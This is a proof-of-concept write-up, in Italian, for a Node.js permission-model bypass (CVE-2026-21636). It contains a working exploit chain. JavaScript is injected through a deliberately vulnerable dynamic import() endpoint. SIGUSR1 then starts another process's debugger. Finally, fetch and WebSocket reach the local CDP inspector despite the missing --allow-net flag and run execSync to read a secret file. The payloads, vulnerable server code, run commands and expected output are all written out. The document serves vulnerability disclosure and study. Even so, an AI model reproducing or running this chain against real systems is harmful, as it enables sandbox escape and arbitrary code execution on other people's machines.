
Proof-of-concept che dimostra un bypass del modello di autorizzazioni di Node.js (CVE-2026-21636) che consente l'accesso di rete tramite undici/fetch ai servizi locali, permettendo l'esecuzione arbitraria di codice attraverso CDP.
Il modello di permessi di Node.js (--permission) è progettato per isolare un processo limitando l'accesso al filesystem, ai processi figli, ai worker e alla rete. CVE-2026-21636 rivela che le connessioni effettuate tramite undici/fetch (e net/tls) verso Unix Domain Socket e indirizzi TCP locali bypassano completamente il controllo di rete, anche quando --allow-net è assente.
Interessati: Node.js v25 (i permessi di rete sono ancora sperimentali al momento della divulgazione).
Questo PoC riproduce il concetto su v22 dove lo stesso bypass è osservabile.
Un attaccante che può iniettare JavaScript arbitrario in un processo in esecuzione sotto --permission (ma senza --allow-net o --allow-child-process) può:
Due processi vengono eseguiti fianco a fianco all'interno del container sotto supervisord:
target.cjs scrive il proprio PID in /tmp/target.pid all'avvio, poi rimane in loop per sempre (processo vittima inattivo). server.mjs espone un server Express su :8000 con un endpoint /pid e un endpoint vulnerabile /language.
/app/secret.txt è di proprietà di app (chmod 444). Entrambi i processi possono accedervi a livello di sistema operativo. L'exploit non si basa su una barriera di permessi sui file — dimostra che server.mjs, nonostante l'assenza di --allow-net, può raggiungere 127.0.0.1:9229 tramite fetch()/WebSocket ed eseguire codice arbitrario all'interno del processo target.cjs non isolato. La lettura di secret.txt tramite CDP è la prova di tale esecuzione di codice.
Nota: cosa dimostra realmente questo PoC
Poiché
server.mjsviene già eseguito con--allow-fs-read=/, la lettura di/app/secret.txtdirettamente dal processo in sandbox è banalmente possibile usando solo l'iniezione JS (passo 1):import { readFileSync } from 'fs'; export default { secret: readFileSync('/app/secret.txt', 'utf8') };La lettura del filesystem non è l'obiettivo di questo PoC. L'obiettivo è dimostrare CVE-2026-21636: nonostante l'assenza di
--allow-net,fetch()(undici) può stabilire una connessione TCP verso127.0.0.1:9229, bypassando completamente il controllo di rete del modello di permessi. L'exploit usa questo bypass come pivot nel processotarget.cjscompletamente non isolato tramite CDP e ottiene esecuzione di codice arbitrario al di fuori della sandbox; qualcosa che nessuna quantità di--allow-fs-readpermetterebbe.
POST /languageQuesta sezione è fuori dallo scopo del PoC.
// server.mjs
app.post('/language', async (req, res) => {
const requested = req.body?.lang ?? 'fr';
res.json(await import(requested + '/index.js'));
});
Il server esegue un import() dinamico su una stringa controllata dall'utente. L'import() di Node.js supporta nativamente lo schema URL data::
data:text/javascript,<JS con codifica percentuale>
Il suffisso /index.js aggiunto dal server viene neutralizzato aggiungendo // alla fine del payload (trattato come commento URL / frammento di percorso ignorato).
Questo consente esecuzione di JavaScript arbitrario all'interno del processo in sandbox — il punto di ingresso per abusare di CVE-2026-21636.
Il server si avvia con:
node --permission --allow-fs-read=/ /app/server.mjs
L'intento: anche se un attaccante esegue codice all'interno di server.mjs, non può raggiungere la rete, generare processi o accedere all'inspector.
CVE-2026-21636 rompe il confine --allow-net.
GET /pid → { "pid": <N> }
target.cjs scrive il proprio PID in /tmp/target.pid all'avvio. Il server lo espone. Questo identifica il processo vittima che verrà usato come relay CDP.
Questo potrebbe anche essere fatto iniettando JS nel punto di ingresso; per semplificare, ho semplicemente creato l'endpoint /pid.
target.cjs tramite SIGUSR1Payload iniettato tramite POST /language (come URL data:):
process.kill(<pid>, 'SIGUSR1');
export default { signal: 'SIGUSR1', sent_to: <pid> };
Quando un processo Node.js riceve SIGUSR1, avvia (o riprende) il suo debugger V8/CDP e inizia ad ascoltare su:
127.0.0.1:9229
Poiché target.cjs viene eseguito senza --permission, il suo inspector è completamente privilegiato — può valutare qualsiasi espressione, inclusa require('child_process').execSync(...).
L'invio di segnali (process.kill) non è limitato dal modello di permessi, quindi questo passo riesce dall'interno della sandbox.
Secondo payload iniettato tramite POST /language:
// recupera l'elenco dei target debuggabili dall'API HTTP dell'inspector
const [{ id }] = await (await fetch('http://127.0.0.1:9229/json')).json();
// poi apri un WebSocket verso l'endpoint CDP di target.cjs
const result = await new Promise(resolve => {
const ws = new WebSocket(`ws://127.0.0.1:9229/${id}`);
ws.onopen = () => ws.send(JSON.stringify({
id: 1,
method: 'Runtime.evaluate',
params: {
expression: `process.mainModule.require('child_process')
.execSync('cat /app/secret.txt').toString()`,
returnByValue: true
}
}));
ws.onmessage = ({ data }) => { ws.close(); resolve(JSON.parse(data)); };
});
export default result;
Perché funziona nonostante l'assenza di --allow-net:
fetch() in Node.js è implementato da undici. CVE-2026-21636 mostra che il percorso di connessione di undici per http://127.0.0.1:... (e le opzioni socketPath UDS) non passa attraverso il controllo di rete del modello di permessi. La sandbox crede che non sia stato effettuato alcun accesso di rete in uscita, eppure la connessione TCP verso :9229 riesce.
La chiamata CDP Runtime.evaluate viene eseguita all'interno del processo target.cjs non isolato, quindi require('child_process') è disponibile e execSync funziona liberamente.
attaccante (script Python)
│
├─[1]─ GET /pid → pid = N
│
├─[2]─ POST /language data:js SIGUSR1 → l'inspector di target.cjs si avvia su :9229
│
└─[3]─ POST /language data:js fetch+WS → CDP Runtime.evaluate → cat /app/secret.txt
↑
bypass CVE-2026-21636 qui
(fetch verso 127.0.0.1 senza --allow-net)
# Compila e avvia l'ambiente
docker compose up --build -d
# Esegui l'exploit
python3 exploit.py
Output atteso:
TARGET PID : 42
Response step 2 : {'signal': 'SIGUSR1', 'sent_to': 42}
SECRET : this_is_a_secret!
| Processo | Utente | Flag | Capacità |
|---|
target.cjs | app | nessuno | API Node.js completa, nessuna sandbox |
server.mjs | app | --permission --allow-fs-read=/ | lettura FS completa — niente rete, niente child_process, niente worker |
| Permesso | Stato |
|---|
--allow-fs-read=/ | concesso (lettura completa) |
--allow-fs-write | negato |
--allow-net | negato (sperimentale, non impostato) |
--allow-child-process | negato |
--allow-worker | negato |
--allow-inspector | negato |